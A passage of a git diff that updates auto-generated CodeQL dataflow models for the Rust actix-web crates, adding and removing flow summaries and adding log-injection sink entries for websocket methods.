"ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::read_field", "Argument[2]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::read_field", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::read_field", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::read_field", "Argument[2]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-multipart", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-multipart", "::into_inner", "Argument[self].Field[crate::form::json::Json(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-multipart", "::error_handler", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-multipart", "::validate_content_type", "Argument[0]", "Argument[self].Field[crate::form::json::JsonConfig::validate_content_type]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-multipart", "::validate_content_type", "Argument[0]", "ReturnValue.Field[crate::form::json::JsonConfig::validate_content_type]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-multipart", "::validate_content_type", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::read_field", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::read_field", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::read_field", "Argument[2]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-multipart", "::directory", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-multipart", "::error_handler", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::read_field", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::read_field", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::read_field", "Argument[2]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-multipart", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-multipart", "::into_inner", "Argument[self].Field[crate::form::text::Text(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-multipart", "::error_handler", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-multipart", "::validate_content_type", "Argument[0]", "Argument[self].Field[crate::form::text::TextConfig::validate_content_type]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-multipart", "::validate_content_type", "Argument[0]", "ReturnValue.Field[crate::form::text::TextConfig::validate_content_type]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-multipart", "::validate_content_type", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::handle_field", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::handle_field", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::handle_field", "Argument[2]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::handle_field", "Argument[3]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::new", "Argument[0]", "ReturnValue.Field[crate::payload::PayloadBuffer::stream].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::get_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-multipart", "::clone", "Argument[self].Field[crate::safety::Safety::clean].Reference", "ReturnValue.Field[crate::safety::Safety::clean]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::is_clean", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::handle_field", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::handle_field", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::handle_field", "Argument[2]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::handle_field", "Argument[3]", "ReturnValue.Reference", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-test.model.yml b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-test.model.yml index 092daa5214e..b911c3357f7 100644 --- a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-test.model.yml +++ b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-test.model.yml @@ -5,23 +5,7 @@ extensions: extensible: summaryModel data: - ["repo:https://github.com/actix/actix-web:actix-test", "::addr", "Argument[self].Field[crate::TestServer::addr]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-test", "::delete", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-test", "::delete", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-test", "::get", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-test", "::get", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-test", "::head", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-test", "::head", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-test", "::options", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-test", "::options", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-test", "::patch", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-test", "::patch", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-test", "::post", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-test", "::post", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-test", "::put", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-test", "::put", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-test", "::request", "Argument[0]", "ReturnValue.Field[crate::request::ClientRequest::head].Field[crate::requests::head::RequestHead::method]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-test", "::request", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-test", "::request", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-test", "::url", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-test", "::url", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-test", "::client_request_timeout", "Argument[0]", "Argument[self].Field[crate::TestServerConfig::client_request_timeout]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-web-actors.model.yml b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-web-actors.model.yml index 6c1bd84c988..710508a6fee 100644 --- a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-web-actors.model.yml +++ b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-web-actors.model.yml @@ -19,3 +19,15 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::protocols", "Argument[0]", "Argument[self].Field[crate::ws::WsResponseBuilder::protocols].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::protocols", "Argument[0]", "ReturnValue.Field[crate::ws::WsResponseBuilder::protocols].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::protocols", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::write", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::write_eof", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::binary", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::close", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::ping", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::pong", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::text", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::write_raw", "Argument[self]", "log-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-web-codegen.model.yml b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-web-codegen.model.yml index da04e3d3bf0..1e95c79ef74 100644 --- a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-web-codegen.model.yml +++ b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-web-codegen.model.yml @@ -7,7 +7,6 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "::try_from", "Argument[0].Reference", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::route::MethodTypeExt::Custom(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "::new", "Argument[0].Field[crate::route::RouteArgs::path]", "ReturnValue.Field[crate::route::Args::path]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "::new", "Argument[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::route::Route::ast]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "::new", "Argument[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::route::Route::name]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "crate::connect", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "crate::delete", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "crate::get", "Argument[1]", "ReturnValue", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-web.model.yml b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-web.model.yml index 71d89fea272..c4a38af8be2 100644 --- a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-web.model.yml +++ b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-web.model.yml @@ -7,14 +7,17 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-web", "<_ as crate::guard::Guard>::check", "Argument[0]", "Argument[self].Parameter[0]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "<_ as crate::guard::Guard>::check", "Argument[self].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "<_ as crate::handler::Handler>::call", "Argument[self].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::call", "Argument[self].Field[crate::Middleware::was_error].Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::into_factory", "Argument[self].Field[crate::app::App::default]", "ReturnValue.Field[crate::app_service::AppInit::default]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::into_factory", "Argument[self].Field[crate::app::App::endpoint]", "ReturnValue.Field[crate::app_service::AppInit::endpoint]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::into_factory", "Argument[self].Field[crate::app::App::factory_ref]", "ReturnValue.Field[crate::app_service::AppInit::factory_ref]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::app_data", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::configure", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::data", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::data_factory", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::default_service", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::external_resource", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::route", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::service", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::wrap", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::wrap_fn", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -32,7 +35,6 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[2]", "ReturnValue.Field[crate::config::AppConfig::addr]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::secure", "Argument[self].Field[crate::config::AppConfig::secure]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::clone_config", "Argument[self].Field[crate::config::AppService::config].Reference", "ReturnValue.Field[crate::config::AppService::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-web", "::clone_config", "Argument[self].Field[crate::config::AppService::config]", "ReturnValue.Field[crate::config::AppService::config]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::config", "Argument[self].Field[crate::config::AppService::config]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::into_services", "Argument[self].Field[crate::config::AppService::config]", "ReturnValue.Field[0]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::into_services", "Argument[self].Field[crate::config::AppService::services]", "ReturnValue.Field[1]", "value", "dfc-generated"] @@ -53,6 +55,7 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-web", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::into_inner", "Argument[self].Field[crate::data::Data(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::from", "Argument[0].Field[crate::types::either::EitherExtractError::Bytes(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::from", "Argument[0]", "ReturnValue.Field[crate::error::error::Error::cause].Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::from", "Argument[0]", "ReturnValue.Field[crate::error::error::Error::cause]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::from", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::status_code", "Argument[self].Field[crate::error::internal::InternalError::status].Field[crate::error::internal::InternalErrorType::Status(0)]", "ReturnValue", "value", "dfc-generated"] @@ -66,7 +69,6 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-web", "::match_star_star", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[0]", "ReturnValue.Field[crate::guard::acceptable::Acceptable::mime]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::scheme", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-web", "::preference", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::as_filename", "Argument[self].Field[crate::http::header::content_disposition::DispositionParam::Filename(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::as_filename_ext", "Argument[self].Field[crate::http::header::content_disposition::DispositionParam::FilenameExt(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::as_name", "Argument[self].Field[crate::http::header::content_disposition::DispositionParam::Name(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] @@ -98,9 +100,11 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-web", "::add", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::add_content_type", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new_transform", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::handler", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::call", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::call", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::call", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::call", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::fmt", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::fmt", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -123,6 +127,7 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-web", "::into_inner", "Argument[self].Field[crate::request_data::ReqData(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::add_guards", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::app_data", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::data", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::default_service", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::guard", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::name", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -141,12 +146,12 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-web", "::reason", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::set_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::status", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-web", "::take", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::upgrade", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::add_cookie", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::append_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::insert_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[0]", "ReturnValue.Field[crate::response::customize_responder::CustomizeResponder::inner].Field[crate::response::customize_responder::CustomizeResponderInner::responder]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::with_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::with_status", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::from", "Argument[0].Field[crate::service::ServiceResponse::response]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::from", "Argument[0]", "ReturnValue.Field[crate::response::response::HttpResponse::res]", "value", "dfc-generated"] @@ -156,6 +161,8 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-web", "::drop_body", "Argument[self].Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::extensions]", "ReturnValue.Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::extensions]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::drop_body", "Argument[self].Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::head]", "ReturnValue.Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::head]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::error", "Argument[self].Field[crate::response::response::HttpResponse::error].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::extensions", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::extensions_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::head", "Argument[self].Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::head]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::head_mut", "Argument[self].Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::head]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::into_body", "Argument[self].Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::body]", "ReturnValue", "value", "dfc-generated"] @@ -189,9 +196,11 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-web", "::wrap", "Argument[self].Field[crate::route::Route::guards]", "ReturnValue.Field[crate::route::Route::guards]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::app_data", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::configure", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::data", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::default_service", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::guard", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::route", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::service", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::wrap", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::wrap_fn", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -208,10 +217,17 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-web", "::bind_uds", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::client_disconnect_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::client_request_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::client_shutdown", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::client_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::disable_signals", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::keep_alive", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::listen", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::listen_auto_h2c", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::listen_openssl", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::listen_rustls", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::listen_rustls_0_21", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::listen_rustls_0_22", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::listen_rustls_0_23", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::listen_uds", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::max_connection_rate", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::max_connections", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -225,8 +241,6 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-web", "::worker_max_blocking_threads", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::workers", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[0]", "ReturnValue.Field[crate::service::ServiceFactoryWrapper::factory].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-web", "::take_payload", "Argument[self].Field[crate::service::ServiceRequest::payload].Reference", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-web", "::take_payload", "Argument[self].Field[crate::service::ServiceRequest::payload]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::error_response", "Argument[self].Field[crate::service::ServiceRequest::req]", "ReturnValue.Field[crate::service::ServiceResponse::request]", "value", "dfc-generated"] - 